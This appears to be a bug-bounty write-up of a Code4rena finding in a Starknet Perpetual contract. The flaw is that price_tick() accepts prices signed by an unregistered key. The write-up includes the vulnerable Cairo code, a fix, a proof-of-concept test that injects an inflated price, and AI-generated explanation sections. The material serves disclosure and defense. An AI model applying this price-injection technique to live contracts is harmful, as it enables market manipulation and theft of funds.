A malicious signed price can be injected in assets.price_tick()
The price tick function did not check that the signer's public key was registered for the asset, so an attacker could use an arbitrary key to sign a fake price and inject it. This allowed setting any price for a synthetic asset without governance approval.
alexxander Follow with 0xAlix2, b0g0 and 8 others
Originally disclosed on Code4rena
Submitted by alexxander, also found by 0xAlix2, b0g0, hakunamatata, krikolkk, oakcobalt, Olugbenga, said, stonejiajia, trachev, and VulnSeekers
Finding description and impact
An oracle is added for a synthetic asset through the governance protected function assets.add_oracle_to_asset(). The oracle is saved for a particular asset in the asset_oracle storage by mapping its public key to the asset name + oracle name.
fn add_oracle_to_asset(
ref self: ComponentState<TContractState>,
asset_id: AssetId,
oracle_public_key: PublicKey,
oracle_name: felt252,
asset_name: felt252,
) {
// ...
// Validate the oracle does not exist.
let asset_oracle_entry = self.asset_oracle.entry(asset_id).entry(oracle_public_key);
let asset_oracle_data = asset_oracle_entry.read();
assert(asset_oracle_data.is_zero(), ORACLE_ALREADY_EXISTS);
// ...
// Add the oracle to the asset.
let shifted_asset_name = TWO_POW_40.into() * asset_name;
asset_oracle_entry.write(shifted_asset_name + oracle_name);
// ...
}
The function assets.price_tick() updates the price of an asset where a list of signed_prices is supplied that must only contain prices that were signed by oracles that were added through `assets.
add_oracle_to_asset() for that asset. The validation of the list is done in assets._validate_price_tick() where assets._validate_oracle_signature() is called for each signed price. This function attempts to read from storage the packed asset and oracle names stored against the supplied signed_price.signer_public_key, hash the read value with the supplied oracle price and timestamp and validate if the signature supplied for that hash value corresponds to the supplied public key.
However, there is no validation if the supplied signed_price.signer_public_key is an existing key in storage. For an arbitrary signer key, the self.asset_oracle.entry(asset_id).read(signed_price.signer_public_key) operation returns an empty packed_asset_oracle instead of a panic halting execution. This allows for an arbitrary signed_price.signer_public_key to create a signature over packed asset and oracle names that are 0 and bypass validate_oracle_siganture(), therefore, supplying an arbitrary price without the signer key being approved and added by the governance admin through add_oracle_to_asset().
fn _validate_oracle_signature(
self: @ComponentState<TContractState>, asset_id: AssetId, signed_price: SignedPrice,
) {
// @audit won't panic on non existing signer_price.signer_public_key
let packed_asset_oracle = self
.asset_oracle
.entry(asset_id)
.read(signed_price.signer_public_key);
let packed_price_timestamp: felt252 = signed_price.oracle_price.into()
* TWO_POW_32.into()
+ signed_price.timestamp.into();
let msg_hash = core::pedersen::pedersen(packed_asset_oracle, packed_price_timestamp);
validate_stark_signature(
public_key: signed_price.signer_public_key,
:msg_hash,
signature: signed_price.signature,
);
}
Recommended mitigation steps
Panic if the supplied signed_price.signer_public_key maps to an empty packed oracle name + asset name.
Proof of Concept
- Place the modified
test_price_tick_basic()intest_core.cairo - Execute with
scarb test test_price_tick_basic - The test shows how an invalid oracle can provide signature for
price_tick()
fn test_price_tick_basic() {
let cfg: PerpetualsInitConfig = Default::default();
let token_state = cfg.collateral_cfg.token_cfg.deploy();
let mut state = setup_state_with_pending_asset(cfg: @cfg, token_state: @token_state);
let mut spy = snforge_std::spy_events();
let asset_name = 'ASSET_NAME';
let oracle1_name = 'ORCL1';
let oracle1 = Oracle { oracle_name: oracle1_name, asset_name, key_pair: KEY_PAIR_1() };
let synthetic_id = cfg.synthetic_cfg.synthetic_id;
cheat_caller_address_once(contract_address: test_address(), caller_address: cfg.app_governor);
state
.add_oracle_to_asset(
asset_id: synthetic_id,
oracle_public_key: oracle1.key_pair.public_key,
oracle_name: oracle1_name,
:asset_name,
);
let old_time: u64 = Time::now().into();
let new_time = Time::now().add(delta: MAX_ORACLE_PRICE_VALIDITY);
assert!(state.assets.get_num_of_active_synthetic_assets() == 0);
start_cheat_block_timestamp_global(block_timestamp: new_time.into());
cheat_caller_address_once(contract_address: test_address(), caller_address: cfg.operator);
- let oracle_price: u128 = ORACLE_PRICE;
+ // @audit can set whatever price here
+ let oracle_price: u128 = ORACLE_PRICE*1000;
let operator_nonce = state.get_operator_nonce();
+
+ // @audit use key pair 3 even though the public key hasn't been added through add_oracle_to_asset()
+ let malicious_oracle_signer = Oracle {oracle_name: '', asset_name: '', key_pair: KEY_PAIR_3()};
+
state
.price_tick(
:operator_nonce,
asset_id: synthetic_id,
:oracle_price,
+ // @audit invalid oracle
signed_prices: [
- oracle1.get_signed_price(:oracle_price, timestamp: old_time.try_into().unwrap())
+ malicious_oracle_signer.get_signed_price(:oracle_price, timestamp: old_time.try_into().unwrap())
]
.span(),
);
// Catch the event.
let events = spy.get_events().emitted_by(test_address()).events;
assert_add_oracle_event_with_expected(
spied_event: events[0],
asset_id: synthetic_id,
:asset_name,
oracle_public_key: oracle1.key_pair.public_key,
oracle_name: oracle1_name,
);
assert_asset_activated_event_with_expected(spied_event: events[1], asset_id: synthetic_id);
assert_price_tick_event_with_expected(
- spied_event: events[2], asset_id: synthetic_id, price: PriceTrait::new(value: 100),
+ spied_event: events[2], asset_id: synthetic_id, price: PriceTrait::new(value: 100_000),
);
assert!(state.assets.get_synthetic_config(synthetic_id).status == AssetStatus::ACTIVE);
assert!(state.assets.get_num_of_active_synthetic_assets() == 1);
let data = state.assets.get_synthetic_timely_data(synthetic_id);
assert!(data.last_price_update == new_time);
- assert!(data.price.value() == 100 * PRICE_SCALE);
+ assert!(data.price.value() == 100_000 * PRICE_SCALE);
}
oded (Starknet Perpetual) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the contract read the stored oracle data for the signer's public key without first checking that the key existed, so an empty value was used in the signature hash and any signature over that empty value was accepted.
Impact
An attacker could set an arbitrary price for a synthetic asset, potentially manipulating the market or causing financial loss.
What the attacker needed
Ability to call price_tick as operator; a pending synthetic asset; no approval needed for signer key
The fix
The contract should panic if the supplied signer public key does not map to a non-empty packed oracle and asset name.
How it was found
- Deploy the contract and set up a pending synthetic asset.
- Add a legitimate oracle to the asset via the governance function.
- Advance the block timestamp to a valid time.
- Create a signed price using a key pair that was never added as an oracle.
- Call price_tick with the malicious signed price and an arbitrary price value.
- Observe that the price tick succeeds and the asset is activated with the attacker-chosen price.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract lets an operator update asset prices by providing prices signed by approved oracles. The contract failed to check that the signer was actually approved, so anyone could sign a price with their own key and have it accepted. This meant an attacker could set any price they wanted for the asset.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.